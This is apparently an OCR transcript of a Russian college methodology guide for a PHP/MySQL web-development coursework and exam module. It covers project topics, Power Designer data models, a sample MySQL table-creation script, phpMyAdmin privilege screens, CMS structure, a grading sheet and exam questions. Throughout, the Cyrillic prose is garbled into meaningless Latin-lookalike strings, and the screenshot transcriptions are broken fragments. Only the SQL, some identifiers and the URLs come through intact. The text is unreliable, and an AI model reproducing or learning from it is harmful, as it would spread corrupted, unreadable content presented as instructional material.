CinoBo "PucyHoK" 1 HAMMEHOBAaHHUE TOMEIIAIOT MOCJIE MOSICHUTEIBHBIX JaHHBIX U
pacrnoJiararoT CiIeAyIUM 00pa3om:

Pucynok 1 — BHeniHuit BUJT T1aBHOM CTpaHUIIBI

[IpunoxkeHue pasMellaercss Moclie CIHUCKa JMTEPATypbl M HUMEET CKBO3HYIO
HyMepanuw crpanuil. [lopsakoBeii HOMEp MPUIIOKEHUS CTABUTCS B MPABOM BEPXHEM
yriay aucta. 'oToBast paboTa 10KHA ObITH COPOIIIOPOBAHA B MANKY.

KypcoBas paboTta gomxHa ObITh 3alllMIllEHa CTYJCHTOM IyTEM COOECEeIOBaHHUS C
MpernoiaBaTesieM [Jisi BBICTABICHUS OIEHKH 3a paboTy, MPU OTOM YUYUTHIBAETCS
coJiepKaHue M Ka4eCTBO O(hOpPMIICHHS TIOSICHUTEIILHON 3aIiCKH.



BapuanTel 3a1aH1l HA KypCOBOW MPOEKT:

1. Pa3pa0boTka HHTEpHET MarasuHa NpoJaXyu KOMIUIEKTYIOIIMX TOBAPOB Ha
PHP

2. Pa3paboTka HHTEpHET Mara3suHa NpoAaxu KOMIIbIOTEPOB.

3. Pa3paboTka obpazoBarenbHOrO mopraina mo rexnoorun ASP.Net.

4. Pa3paboTka nHPOPMAMOHHOTIO caiiTa TYPUCTHYECKOTO areHTCTBA.

5. Pa3paboTka caiita co BCTpO€HHOW aBTOMAaTU3MPOBAHHOW CUCTEMOM
CO3/[aHUs PACTIMCAHMSI

6. Pa3paboTka 1 BHeIpeHUuE aBTOMAaTU3UPOBAHHOTO pabovero Mecra s
CHEIUATN3UPOBAHHOTO JOKYMEHTO000POTa MEPCOHAIBHBIX TaHHBIX

7. Pa3paboTka nHpopmMamoHHOTO caiiTa GUPMbI IO MPOAAKE CTPOUTEILHBIX
MaTEepHaJIoB.

8. Pa3paboTka nHPOpMAMOHHOTO caiiTa OTACICHHS KOJUIEIXKA.

Q. Paspabotka Web — unTepdeiica 11t cHcTeMbl KOMITBIOTEPHONM BEPCTKH.

10. Pa3paboTka TeCTOBOW MpOTpaMMBI JJIsI CalTa.

11. Paspabotka Web- unTepdeiica aHamm3a 0TKa30B KOMITBIOTEPHOH
JIOKAJIbHOW CETH.

12.  Pa3paboTka nH()OpPMAITMOHHOTO CaiTa.

13. PazpaboTka HH(POPMAIIMOHHOTO caiiTa 0030p MpeMbep B TOPOJICKHX
KMHOTEaTpax.

TexHO0THs BBITIOJHEHUS KypCOBOM pabOTHI

AHanu3 mpeaMeTHOW OoO0JacTH M pa3paboTKa KOHILENTYyaJlbHOW MOJeNUu Oa3bl
JTAHHBIX

Ha ocHOBaHMM UCXOOHBIX JaHHBIX 3aJlaHUSI JIOJDKHBI  OBITH  OMHCAHBI
TEXHOJOTUYECKUE TPOILECChl TMPEAMETHOM 00JlacTh, KOTOphIE pEaIu3yloTCs B
pa3pabaTbiBaEMOM MOJIyJIe, U3 KOTOPBIX pa3padaThIBAe€TCs KOHIENTYyalbHAs MOJEIhb
0a3bl JaHHBIX.

B xonme pa3paboTKu KOHLENTYaJbHOW MOJAEIHM 0a3bl JAaHHBIX PEKOMEHYETCS
ucrnojib3oBath Power Designer, ompeneauTh BCe CYIIHOCTH, CBS3U MEXIy HUMH,
aTpuOyTHI, B TOM YHUCJIE KIIIOUEBBIE, U TUITHI TAHHBIX

Pe3ynbraT pa3pabOTKu KOHILIENTYJbHOW MOJIEIU TPEACTaBUTh B BHUJE KOIUU
skpana mojenu (Pucynok 1).

) Entity_z

Entity_1
- numer <UNDEF =
{1x} Zpix 2UNDEF= =hi= Attribute & =UNDEF=
Attribute_2 TaT Attribute & =UNDEF=>
Aftribute_3 2UNDEF*> Attribute_7  «UNDEF=
Identifier_1 <pi= Attribute_8 <UNDEF=

Relationship_1 /
’ﬁ Relatianship_2
Entity_=

ID_klass_9  <UMDEF:
Adtribute_10 <UNDEF>
Adtribute_11 <UNDEF:
Adtribute_12 <UMDEF>
Aftribute_13 <UNDEF»

Pucynox 1. IIpumep koHuenTyansHo# Monenu B Power Designer



Bomonuuth reHepanuio ¢usnueckoi mozenu npumeHutenbHo g CYB]]
MySQL u npencTaButh Komuio 3kpana 3Toi moaenu (PucyHok 2), cimcok atpuOyToB
KaKI0W Tabiuipl, onpeneneHabix npuMenutenbHo kK CYBJl MySQL (Pucynox 3) u
TekcT SQL -ckpumnTa.

Entity_1
1o int <phe Entity_z

Attribute_2 zmallink107 -
— numer inff14) <phis
Attribute_3  date Attribute 5 test

Colnntr_c - liC)E) Atribute_& warchar 1)
Column_5  warchan200)

Fk_FRelationship_2
Fk_Relationship_1

Entity_3
numer int 1< =fied =
[ int 2kl =

I0_klas=s 9 integer
Aftribute_10 <Undefined=

Pucynok 2. [Ipumep ¢usuueckoit monenu B Power Designer

Mapping] Mates ] Rules ] Dependencies] Extended Dependencies] \:"ersianlnfa]

General  Columns l Indexes ] Feys ] Check. ] Script ] I:Ipti-:uns] F"review]
B 3,008 & B X dh |
Mame | Code | [rata Type | F'| | M| —
1 = | rumer int (14) VI~
z Attribute & Attribute & text [ i
2 Attribute & Attribute & warchar (10} [
| M N
H u m

Pucynok 3. [Ipumep crincka atpudyToB Tadauibl B Power Designer
[Tpu renepanuu SQL - ckpunta pekoMeHayeTcsl yOpaTh BCE OIIUU M0 YIATCHUIO
NPEIBIAYIIMX BepCHid TaOIUIl 0a3bl JaHHBIX U caMol 0a3bl JaHHBIX — ornepanuu Drop (
database, table u 1.11.) (PucyHnok 4).

Database Generation

DBMS MySaL 4.0
Ditectony: [b:\Document s \Mes momymesma, o
File narne: ‘Crehas, sqgl j E ¥ One file only
Generation type: % Script generation " ODBC generation
Tables & Views WKeys&ldexes] Database} Dpliunsl SEIEctiUnl
Tables Colurnns Wiews
W [Create tabiel r !_
W Check ™ Default value r
o o [~ Check ¥
™ Physical options o o ~
™ Beain script ] r
™ End script V¥ r
-
r Defaults =
[~ Drop table i
=
(1] OTreHa | | Cnpaeka |

Pucynok 4. IIpumep onmwmii nis renepupoBannn SQL ckpumnra 6a3bl JaHHBIX B
Power Designer
IIpumep Texcra SQL-ckpunra:



[* DBMS name: MySQL 4.0 */
[* Created on: 30.10.2006 14:10:58 */

create table Entity 1

(

ID int not null,
Attribute_2 smallint(10),
Attribute_3 date,
Column_4 int(16),
Column_5 varchar(200),
primary key (ID)

)i

create table Entity 2

(

numer int(14) not null,
Attribute 5 text,
Attribute_6 varchar(10),
primary key (numer)

);

—_——%

[* Table: Entity 3 */

create table Entity 3

(

numer int(14),

ID int,

ID_klass_9 integer,

Attribute_10 char(10)

)i

alter table Entity 3 add constraint FK_Relationship_1 foreign key (ID)
references Entity 1 (ID) on delete restrict on update restrict;

alter table Entity 3 add constraint FK_Relationship_2 foreign key (numer)




references Entity_2 (numer) on delete restrict on update restrict;

7.2. Co3nanue 6a3pl qanubix B CYBJ] MySQL
Coznanne ©6a3pl nmanHbix B CYBJ] MySQL pekoMeHayercss BBIMOJIHATH C
UCToIb30BaHueM rpaduueckoro uatepdeiica phpMyAdmin (Pucynok 5)

[o6po noxanoBatk B
phpMyAdmin 2.6.1

phpluAdmio MySOL 4.1.16-max Ha localhost kak root@localhost php
ot B Qe
MySOL
t Cospate Hoeyw Bl £ Langus
| | CpaeHenme v|| Cospars | 7 mysal
BriGepuTe Bl T MNokazate cocToAnue MySAL (cp125
MokazaTe CMCTEMHEIR NepeMerHEe Wy SEL | Conoca
8% MokazaTe NpOUECCE @_
41 Kogupoekn v cpaeHeHus @& Toma s
223 Mpernerin B Hoiym
e Bazkl JanHbx B Mokass
1 3kcnopt fat Oy

Pucynox 5. OcnoBHoit uaTepdetic phpMyAdmin
Xots phpMyAdmin mo3BosiseT UMIIOPTUPOBATH IIETUKOM FOTOBYIO 0a3y JaHHbBIX,
B KYpPCOBOHM paboTe pEeKOMEHIyeTCs cO37aTh MyCTyl 0a3y NaHHBIX, a YXKe B Hee
UMIIOPTUPOBATh CTPYKTYPY TaOmuI] U3 (U3MYCCKOW MOJEIH, CTCHEPHPOBAHHOHW B

Power Designer.
Ha Pucynox 6 u PucyHok 7 mpencraBiieHbl IpHUMEpHI cocTaBa TaOIuUI Oa3bl

JaHHBIX U CTP DBI Ta6JII/II_[BI.

<X Incalhost > localhost >> db || phpMyAdmin 2.6.1 - Microsoft Internet Explorer g@
Mafin  Mpaeka Bug  MsGpanHoe  CepeWc  CNpaska '..:,
O Hazaa ~ [ \ﬂ IELI .'\- / ! Mowck ’\{ M3fpaHHoe @ = ] - ﬂ ‘3
BApec: |@ http: [ flocalbost) Toolsiphpry adminginde:. php V| a Mepexoa  Cooinkd
~
Cepeep: Edlocalhost » B & db
CrpykTypa | she SOL | {# Ikcnopt | S Hekate | B 3anpoc No npHMepy
phpiiuAdmin TabnHua NeiictBne Sanucu Tun CpaeHeHHe
ﬁ QQ I:‘ content B :]-E m }( ] MylSAM cp1251_general_
B0 [ photogal = B e TS 0 MylSAM  cpl251_general_
| db (2) v| 2 Tabnnub) Bcero 0 - cp1251_general—
2 OTMETHTE BECE / CHATE OTMETKY CO BCEX C OTMEYEHHEIMH:
db 0
B cortert 4 Bepcua 4na nedat R CnoBape qaHHk
I W
B photogal 9l I >
@ ‘-_J MECTHAA MHTPaceTE

Pucynok 6. [Ipumep cTpykTypsl 6a3sl qaHHBIX dD



2} localhost >> localhost >> db >> content | phpMyAdmin 2.6.1 - Microsoft Internet Explorer

©afin  [Opaska  Bua  MsOpannoe  Cepswc  Cnpasxa {g’
¢ » A =y . T & e

Qe Q - 12 @ @ Prome Jymeseee @ (2-05 - LK B

Aapec: | ] hitpsfjlocalhost{Tools phpmyadminfindex.php V. al'hepao.a. e 2

Cepeep- flocalhost b B Edb » Tabnuya - E content ot

[ B Crpykrypa | [E 0630p I 546 SOL | J-'Mekats . F<BcraenTe | [iE] 3Kcno|)1| %2 Onepaunn l Mo

phpifuAdmin Mone Tun CpaeHenne  Atpudytel Hone yuonr'l::mmo JononuuTensto Ne
s g [ ID_page int(10) Her auto_increment ¢ X
[ Title varchar(255) cpl1251_general_ci Her s X0

EEE;?:(QJ | [0 Zag varchar(255) cp1251_general_ci Her > X f[
h - [ Text text cpl251_general_ci Her A .ol

db [1 Image wvarchar(100) cp1251_general_ci Her o

B content [] Size  varchar(il) cpl251_general ci Her Vol

B phetogal

OTMeTWTL BCe / CHATL OTMETKY CO BoeX  © ommevennsm: &% X

2 Bepcua Ana nevatm 45 CeAzaHuuii ewn  Sallpennaraeman cTpykTypa Tafinuuye @ )
FeAdd 1 field(s) @ B koHey Tabauuel O B Havano Taénuuel O MNocne | 10_page v

HHpekes: @ Wcnonesyemoe CraTHCTHKa pApa:
Hus Konmuecreo . b Tz el BeipaweHna
Tun DNeiictene Mone
Kn4a INEMEHTOB Tun  Hcnonb3sosanie qpopay au
PRIMARY PRIMARY 0 & ¥ ID_page DanHee 0 Bytes  Cpasrenme cp ™
< | b
€l & MectHan mhTpaceTy

Pucynox 7. I[Ipumep cTpykTypsl Tabauubl content
Ecin mo 3aganuio TpeOyeTcss UMETh MOJb30BaTElNEl, MMEIOLIUX pa3IuyHbIe
NpUBWJIETMM JOCTyna K 0a3e JaHHBIX (KaKk MHUHHUMYM JBYX — aJMHUHUCTPATOp H
MIOCETUTENb), TO UX CIIEAYET CO3JaTh, HA3HAUMB UMs, IApOJb U TpeOyeMble IPUBUIIETUN
Ha KOHKPEeTHYI0 6a3y naHHbIX (Pucynok 8 u Pucynox 9).

MAEMTETHT =
O hwios lwins  [a ALL PRIVILEGES [a |
[ root % Het ALL PRIVILEGES [a
Moumeuanue: aoueuneauy MySQL 3adawomes Ro-aHanubcry
phpLiyrdmin OTreTuTe Bce /' CHATE OTMETKY CO ECEX
5L -
o Qo & NovapnTe HOBOTO NONL30BaATENA
B P YRannTb BblOENeHHbIX Nonb3oBaTenei
|db @) v| (&) TpocTo yAaNUTE NONb30BATENEN W3 TalnuL NpMBMKIMA.
OTMEHHTE BCE AKTMEHEIE MOUMEWIEMMH NONB30EATENEH W 2aTEM T
p
~ YAANWTE MX.
db () ¥AANWTE BCEX NONB30EBATENEA W NEPEZATRYEMTE NPUEHNETMA.
B cortert
B photogsl [] ¥nanuTe Bazkel, KOTOREIE MMEHT TAKME HE MMEHE KIK W -

PnéyHOK 8. UnTepdetic HpHBHﬁerHH phpMyAdmih



% Monb3oBatens 'nirsspb_vus'@'localhost’

s PepakmnpoBanne npuenneryi
[nobansHele NpHBHNETHN

fpuvesanie: noweuneaus My SEL 330F000MeR @0-FWaTUE CHil
OTmetute ce  CHATE OTMETKY CO BCEX

Hauubie Cmpyxmypa Admukucmpupoeanue
[[] SELECT [| CREATE [] GRANT
[] INSERT [ ] ALTER [] SUPER
[] UPDATE [] INDEX [] PROCESS
[] DELETE [ | DROP [] RELOAD
[ FILE [] CREATE TEMPORARY TABLES [ | SHUTDOWN
[ ] SHOW DATRBASES
SFnes IR ﬁmaw?uggﬁuij:r!ﬁgipoc;:mjyﬁannemﬂmw. '—I oG IRBLES
MAX QUERIES PER HOUR b [ REFERENCES
MAX UPDATES PER HOUR b [] EXECUTE
MAX CONMECTIONS PER HOUR [0 [ ] REPLICATION CLIENT
[] REPLICATION SLAVE
- "pliBl!ﬂerlllL cneuul:]m\mble ana !i.'l 3kl DAHHLIXY
bl Mpuennernn Mpenocragnare Mpueunernn, cneundHynbie GNA TADAHUBL Neicrene
nirsspb_ SELECT, INSERT, UPDATE Her Her Mpaeka OtmeHHT:
Hobapute npueuneruy Ha cnegyowyo bazy: | Mononw3osare TekcTosoe none: ¥ [ Nowen |G

Pucynok 9. Ilpumep crnennpuvHbIX TPUBUIICTHI IMOJIb30BaTels NIrSSpb _ vus
Tt Oa3bl JaHHBIX NIrSSph

B pesymbrare cmucok moib3oBateneir MySgl, wumeromumx crenududHbe
NpUBWJIETMM Ha 0a3zy MaHHBIX pa3padaThIBAEMOT0 MOIYJS, JTOJDKEH COCTOATh, Kak
MUHHUMYM U3 JIBYX OJIB30BaTeNIel — OJIMH C MOJHBIMH IPaBaMu J0CTyNa K 0a3e JaHHBIX
U3 aMUHUCTPATHUBHOrO MHTepdelica (monbp3oBarens r00t ucnoyib30BaTh B ATHUX LENIX
HE PEKOMEHAYEeTCs), APYrod — C OrpaHMYEHHBIMU TpaBaMu (TOJBKO Ha BBIOOPKY
JAHHBIX WJIM Ha BBIOOPKY W BCTABKY) JJIA JOCTyma K 0a3e u3 rocteBOoro mHrepdeiica
(Pucynok 10). IIpr HEOOXOAMMOCTH MOTYT OBITH CO3JAaHBI M JIPYTHe TOJIb30BATCIIN

MySql.

MNonbszopatens Xoct [lapone [mobaneHBIE NPHEHNETHHA lNpenoctagnate
[T admin localhost Oa ALL PRIVILEGES Ia 8
[] Iwius localhost Oa ALL PRIVILEGES Oa 8
[ mypartal localhost Oa U AGE Het &
[] nirssph_gost localhost Oa SELECT Het &
[] nirsspb_grishin  localhost Oa ALL PRIVILEGES Oa &
[] nirsspb_phpadm localhost Oa USLGE Het &
[] nirsspb_vus localhost Oa U AGE Het &

Pucynok 10. IIpumep crnmicka nosib3oBateneit MySql

B mpuBeneHHOM mpuMepe Ba TOCIEAHUX TOJIB30BATENS WMEIOT MPHUBHICTHH
USAGE (crienmguynbie 151 KOHKPETHOW 0a3bl JaHHBIX, B IpUMepe — it 0a3bl Nirsspb
).

7.3. PazpaboTka cucTemMbl yIpaBieHHEM KOHTEHTOM

Omnwupasich Ha UCXO/IHbIC TaHHBIC 3a/IaHUS OTIPEACITUTH:

Kakue BapuanTel nuHTEpPEiicoB HE0OX0AUMO pa3padboTaTh (aIMUHUCTPATUBHBIMH,
TFOCTEBOM, 3apEruCTPUPOBAHHBIX IMOJIb30BAaTEIEC, aBTOPOB CTATE€, U T.I.) U KakHe
BO3MOKHOCTH  OHM  JOJDKHBI  MPENOCTAaBIATH  COOTBETCTBYIOLIUMM  TpyIIam
ITOJIb30BATEIIEN.



Omnpenenuth cocTaB (YHKIIMOHAJIBHBIX 3JEMEHTOB KaXJIOro HHTepdeiica, ux
B3aMMOCBSI3U M CBSI3U C 0a3bl IaHHBIX, HA OCHOBE KOTOPBIX COCTaBUTH B rpapuueckom
BUJIE€ CTPYKTYPY CHCTeMbl ynpasjeHuss KoHTeHTOM . Ha Pucynok 11 npusenen
npumMep 0000IIEHHON CTPYKTYpPbl CUCTEMBI YIIPABIEHUS KOHTEHTOM.

CHCcTeMa yNpaBneHWa KoHTeHToM (CMS) @
gy N | e

) MNapameTpbl
CsS5 LatnoH Ve

SaronoBok
CTpYKTYRa CTpaHWLbl

MeTaaaHHbIE
(Grokn) E— 0

ﬁ CTRYKTYPbI
iy 5 Moy e MapaMeTpol
#I‘IOJ‘IbSOBaTdaﬂ.MMHMCTpaTO HacTpoek
ener sle]=] MoAY e
3anpoc DYHELIMM: DY HELMH!
CTPpaHHLb ¥ aneHme
Rigeleyenre PeAaKTHOOESHHE SETODVaA KoHTEHT
HNofaeneqre P U
MpockoTh Rl=!

YueTHeI2
ﬁ 3anvcK

Malnosas
CHMCTEME

THNoeasa GyHKLMA NpocMoTRa H

Pucynox 11. ITpumep ctpykrypbl CMS

PexomeHnmyeTcsi CHOIB30BATh TAOJMYHYIO CTPYKTYPY CTPaHHUIIBI (IIPU TTOMOIIH
html Teros < table > < tr > u < td >), koTopyto cienyer GpopmupoBath B (aiiaax index.
php. Bepx, HU3 CTpaHUWIBl M CHUCTEMY HaBHWTralliM PEKOMEHAYETCS CO31aBaTh B
OTACNBHBIX (haliax ¥ MOAKIYATh pK oMoty Gpyukuui include ().

Bce mapamerpnl xocTuHra (MMeHa 0a3bl JaHHBIX, Hojb3oBareneir MySgl ) u
daittoBoii cuctembl (myTh oT KopHs Web -cepBepa M myTH K KarajoraMm caira)
PEKOMEHIyeTCs 3a/1aBaTh Yepe3 MEPEMEHHBIC B KOH(PUTYpAIMOHHOM (haiisie, KOTOPBIN
TaKXe CIeAyeT MOAKIIYaTh KO BCEM CKPHUIITaM.

3aTeM B OTACNHBHBIX Maparpadax IMOSCHUTEILHOW 3alMUCKA CJCAyeT OIHUCATh
pa3paboTky Moayns kKaxiaoro wuHTepdeiica. Ilpu sTOoM creayer yaenutb ocoboe
BHUMaHNE WX CTPYKTYPHM3AUMH — BBIICICHUIO B OTACIBbHBIC JIOTHYECKHE (HYHKIIUU
aBTOHOMHBIX (pparmMeHTOB mporpamMMebl. IIpu 3ToM Bo3MOXxHO ucmosb3oBanue CASE
cpeacts Tuma BPWin.

Ha Pucynok 12 u Pucynok 13 npuBemeHbl MpuUMEphl JIOTHUYECKOW CTPYKTYPBI
MOAYJIEH OTJIEIBHBIX HHTEPEHCOB.
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Pucynox 12. ITpumep cTpyKTypH3aIiiy MOIYJISI Bpada MmopTajia MOJIUKIMHAKA

B nmomonHeHHWEe K TPUBEICHHBIM PHUCYHKaAM PEKOMEHIYETCS OMHCaTh KasKIIbIi
(YHKIIMOHATBHBIA 3JIEMEHT C YKa3aHHUEM €0 CBS3W C KOHKPETHBIMH ITOJISIMU TaOJIHUI]
0a3bl IaHHBIX.

[Ipumep omnucanuss onHOrOo (GYHKIHMOHATBHOTO »diemMeHTa — «JloOaBnenue
BOITPOCOB» B MOJyJ€ Urpoka Ha Pucynok 11:

Tonvzoeamenv moocem oOobasumv eonpoc u npasuivhviti omeem 6 bl K
BONPOCY MOJICEem NPULaeamovcs uzodpadicenue ¢ gpopmame jpeg. Bonpoc sanucvisaemcst
6 mabauyy QUest. B none Text_quest zanucwvieaemcsa gopmynuposka eonpoca, 8 noie
Right_answer — npasunvuwiti omseem, 6 noae img_Q — ums gatina ¢ uzobpadiceHuem.
Ilons 1D_topic, ID_user u Time_quest zanonustomcs asmomamuyecku cpeocmeamu
PHP. Makcumanvrnoe wucio eonpocos, komopoe modicem co30ams NOIb308AMEIND,
onpeoensiemcs coz0amenem uspbl U OMCIeHCUBAencs NPU NOMOWU MEXAHUIMA 8E0eHUs.
cmamucmuxu. Mexanuzm peanuzosan npu nomowu ¢gynxyutl enter_question_form() u
enter_question() ¢ ¢atine index.php (cm. Ipunoscenue 1).



Ecnu HekoTopsie morudeckue PyHKIMH UCTIONb3YETCs ISl HECKOJIBKUX MOYJIEH,
TO CIIEAYET ONpeAeNnTh, KaKue MapaMeTpsl UM TpeOyeTcs mepeaaBaTh, YTOObI JOOUTHCS
YHUBEPCATBbHOCTH UCTIOIB30BAHUS ITUX (YHKITHIA.

[locne ommcaHusi KaXIOTO AJIEMEHTa PEKOMEHAyeTCs yKazaTh MMeHa php -
(GyHKIMA, KOTOpBIE TPOTPAaMMHO PEaTM30BaIM JTaHHBINA JJIEMEHT U WMEHa (DailyioB, B
KOTOPBIX pa3MereHsl 3Ty Php -pyHKIHN.

Ecnu HekoTopsie php -QyHKINU HCIIONIB3YETCS B PA3IMYHBIX HHTEpQeiicax, TO uxX
ClIeyeT BBIHECTM HX B OTHENbHBIM (paiil M MOAKIIOYAaTh KO BCEM CKpHUITaM,
UCTIOJIb3YIOIIUM 3TH (QYHKIUH.

DaitioByI0 CTPYKTYpY W JIMCTHHTH Bcex PP -CKPHUIITOB CJEIyeT Pa3MECTHTh B
MPUWIOKEHHUAX K TOSCHUTENBHON 3ammcke. Bce php -¢yHkumm B KoJe CKpHUNTOB
JAOJIKHBI MMEeTh KOMMEHTAPHH C ITOSICHEHUSIMH X Ha3HAYECHUS.

JUis XpaHEHHMsl IapaMeTpoOB IIOJIb30BAaTENsl BO BpeEMsl ceaHca €ro paboTbl
0053aTENBHO MCIOJIB30BATH MEXaHHU3M CECCHH .

Jlnst co3naHus CHUCTEMBI YIPABIEHUS KOHTEHTOM pa3padaThIBAEMOT0 MOIYJIS
HE00X0AMMO c(HhOPMUPOBATH COOTBETCTBYIOUIYIO (palIOBYIO CUCTEMY JJI Pa3MEIECHUS
¢aitmoB php -ckpunroB u rpaduueckux ¢aiinoB. C 3Tol Ienpl0 B Karajmore home
ycraHoBiieHHoro nakera Denver (karanor WebServers ) cieayer co3nare HOByIO Mmarky
C UMEHEM pa3paldaThIBAEMOr0 MOpTajia, HApUMEpP MO (paMUINM CTyACHTa, a B HEH —
HE0OXOJAMMbIE KaTajoru. B MosiCHUTENbHON 3amucKe MPUBECTH (DAMIIOBYIO CTPYKTYPY
paspabatsiBaemoro Moayis (Pucynok 13).
=l [ WebServers # | [ Dadmin

+ ) et LJimg
= 5) home [_JUsers
# ) cgi-glob mindex.php
[ cuskam
[ gost
) Joomlall
) localhost
0 lewius
) proba
= ) site
= O

) admin

) img

) users “

i O O = R

Pucynox 1 3. [Ipumep daitioBoii CTpyKTyphI mopTaa Site

AHanu3 QyHKITMOHUPOBAHUS Pa3pabOTAHHOTO MOYJISl AJIEKTPOHHOTO MOpTaja

[Tocne ocyrecTBiICHUST MPOTPAMMHOM pean3aiuu pa3padaTbiBa€MOro MOJIYJIS
JIOJDKHO OBITH TIPOBEICHO HCCIENOBAHUE €Tr0 padOThl BO BCEX PEXKUMAX C IIENBIO
BBISIBIICHUS OIIMOOK W HAmMOJHEHUs 0a3bl JaHHBIX JIEMOHCTPAIIMOHHBIM KOHTEHTOM.
JIeMOHCTpallMOHHBIM  KOHTEHT WH(GOPMATHBHO JIOJDKEH COOTBETCTBOBATH TEME
pa3paboTKH.

[Tocne oTnaAKW CKPHUIITOB M HAIMOJHEHUS 0a3bl JTAaHHBIX JIEMOHCTPAIIMOHHBIM
KOHTEHTOM CJIelyeT CHSTh KOMUU OKPaHOB, OTPaXKaIoIIUX JIOTUKY palOOThI
MOJIb30BaTENE B CBOMX MHTEpdercax.

[Tockonbky nu3aitHepckoe odopMIICHHE MOJYJsI B paMKax JaHHOW KypCOBOM
paboThl He 00s3aTeNbHO, TO W3 MPUBEACHHBIX KOMHUM AKPAaHOB JOJKHA OBITh BHJIHA
TpedyeMas (yHKIHOHAIBHOCTh Pa3pabOTaHHOTO MOMAYJS COTJIACHO 3aJlaHUI0, B BHJIE
HEKOTOPOM MHCTPYKUMH MoJb30oBaTeasaM. Hampumep, B agMHUHUCTPATUBHOM



uHTepdeiice mpencTaBieHa MOMIAroBas MPOIEAypa CO3MaHHs pas[elia B KaTallore
TOBApOB, HATIOJTHCHHS TOBAPAMH IPaiC-TUCTa U T.II.

O1LIEHOYHBIN JIUCT

®UO cTyaenTa

Bun pabota Makcumym Hab6pano KommenTapuit
OaJsioB OaJioB

Cpok cnaum paboThl 3)

Odopmienue nosicuutenbHol 3amucku | 10

O6wem xonenta (7-10 ctp.) 10

CrpykTypa 6a3bl JaHHBIX 10

Crenenr  camocrtosTenbHocTd  1ipw | 10
MOATOTOBKE pabOTHI

[TonHoTAa UcHoJib3oBauus | 15
uatcpyemuTapus (php, mysql, cms)

Jammra 10

Bcero 70
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[lacmopT  KOHTPOJBHO-U3MEPUTENbHBIX  MaTE€pUaNoB  JUIi  MPOBEICHUSA
npomexxyTouHoi arrectanuu o kypcy MJIK. 09.01 IlpoextupoBanue u paspaboTka
BEO-TIPUIIOKCHU N

O6uacTb NpUMEHEHUs

KoHTposibHO-U3MepUTENbHbIE MaTepuaibl JJig MPOBEACHUS MPOMEKYTOUHOU
arrectaruu mo kypcy MJIK. 09.01 [IpoektupoBanue u pa3paboTka BeO-TIPHIIOKEHUI
MpeHA3HAYCHBI I TIPOBEPKH PE3yJIbTaTOB OCBOCHHSI YMEHUN M YCBOCHHS 3HAHWM B
COOTBETCTBHUM C Mporpammoil npodeccuonanbuoro moayisa 1IM.09. IIpoexktupoBanue,
pa3paboTKa ¥ ONITUMHU3AIUS BEO-TIPHIIOKCHHH.

Y cnoBYS BBITIOTHEHUS 38 TaHUS

DK3aMeH TmpoBoAuTCA B (opMe OTBeTa HA TEOPETUUYSCKHH BOINPOC U
BBITIOJTHCHHS TPAKTHYECKOTO 3ajaHus. B Ouiere ComepXuTcs OOUH TEOPETUUCCKUN
BOIIPOC U OJHO MPAKTUYECKOE 3aJlaHue, BBIMIOJIHEHHE KOTOPBIX TpeOyeT HaIu4us
MPAKTUYECKOTO OMBITa PA0OThI C MHCTPYMEHTAIBHBIM U MPHUKIATHBIM MPOTPAMMHBIM
oOecrieueHrneM, a TaK)Ke€ COOTBETCTBYIOIIMX 3HAaHMM. KaxaoMy CTylIEeHTY BbIaeTCs
CBOW BapuaHT.

MecTo mnpoBefeHUsT MPOMEXKYTOUHOW aTTECTAllMd — KOMIIBIOTEPHBIN KJjlacc.
Ucnonszyemoe 000pyqoBaHWE — TMEPCOHAIBHBIM KOMIIBIOTEp C YCTaHOBJICHHBIM
MPUKIAQAHBIM TPOTPAMMHBIM OOCCIICYCHHEM U HaO0OpOM  CIEIUaTU3UPOBAHHBIX
Mporpamm.

MakcumaibHOE BpeMsl BBITIOJTHEHHSI 3aqaHuii omtera — 120 MuH.

OO6pa3ell 3K3aMEHAIMOHHOTO OUJIeTa

1. TeopeTnueckuii BOIpoc:
2. TlpakTuyeckoe 3aqaHue.

TeopeTnueckre BONPOCH! K SK3AMEHY

OcuHoBel PHP

OcHoBsl cuntakcuca PHP

Ynpasisromue KOHCTPYKIUN

O6paboTka 3anpocoB ¢ nomoiso PHP

Dopmsbl

Ilepemennsnie. Koncrantsl. Oneparopsl B PHP. Luknel. Maccussl. PaGota co

CTPOKaMH.

Oynkuuu B PHP. Betpoennbie GyHKIUU.

Pabota ¢ naToit u Bpemenem B PHP.

9. Metonas! nepenaun mapameTpoB mexay crpanumnamu (GET, POST). OopabdoTka
JEeWCTBUH TTOJIH30BATEIISI TIPH TIOMOIIH (POpM.

10.[Tpuntumnel xpaneHust uHdopmaruu B 6a3zax manabix MySQL. Apxutektypa 6a3bl
nanabix MySQL (TaGmutisl, CBSI3U, TPUTTEPHI).

11.Mexanu3m padoThI ¢ 6azamu qaHHBIX — PhpMyAdmin.

12.TToaxmouenue k 6a3ze nanubix u3 PHP ¢aiina. BeiBox nanueix Ha PHP-ctpanuiy,
nonaBimx B BEIOOPKY 1o SQL 3ampocy. [lepenava mapamerpos B 3ampoc.

13.1lpuHuumnel npoeKTUpOBaHus cTpaHull. Paznenenue nHpopmanuu no Tabiuiam B
0a3e gaHHBIX. BBIBOM IpyMIIbI JaHHBIX, COPTUPOBKA TAHHBIX.

14.Coznanue HTML-cTpanun cpeacteamu PHP.

15.Cookie. HTTP-3aromoBku otBeta cepepa. Ceccun

ook whE

0o


https://www.intuit.ru/studies/courses/42/42/lecture/27177
https://www.intuit.ru/studies/courses/42/42/lecture/27179
https://www.intuit.ru/studies/courses/42/42/lecture/27181

16.PaboTa c ¢aitnoBoii cucteMoit

17.ba3e1 nanabix u CYBJ]. OcHOBBI pabOTHI ¢ 0a3aMu TaHHBIX
18.Cas13p ¢ 6a3amu manabpix MySQL
19.06bexkTHO-OpHEHTHPOBaHHOE TTporpaMmMupoBanue Ha PHP
20.Bzaumopeticreue PHP u MySQL

21.B3anmoneiicrsue PHP u XML

22.PHP u XML Web-services

23.CoxkeTsl U ceTeBble (QYHKIIMU

24.PaboTa c rpadukoi

25.513p1k crieHapueB JavaScript. O0beKTHO-OpUEHTHPOBAHHOE MTPOrPAMMHUPOBAHNE
26.JQuery

27.AJAX

28.PHP dpeitmBopkH

29.CMS

30.Pasmemenue \Web-caiita Ha cepBepe

[IpuMepbl TpakTHYECKUX 3a]1a4

1. BriOepute kakoi-HuOyab opyM. BriBeaure criucok BceX Moib30BaTENE, KOTOPBIE
y4acTBOBAJIM B MOCJEAHEN TeMe KaKoro-HuOy b pasnesna. Cucok JoJIKeH ObITh B
a(aBUTHOM TOPSJIKE U COCTOSIIIIUM U3 CChUIOK Ha TPO(UIIN MOJIb30BATENCH.

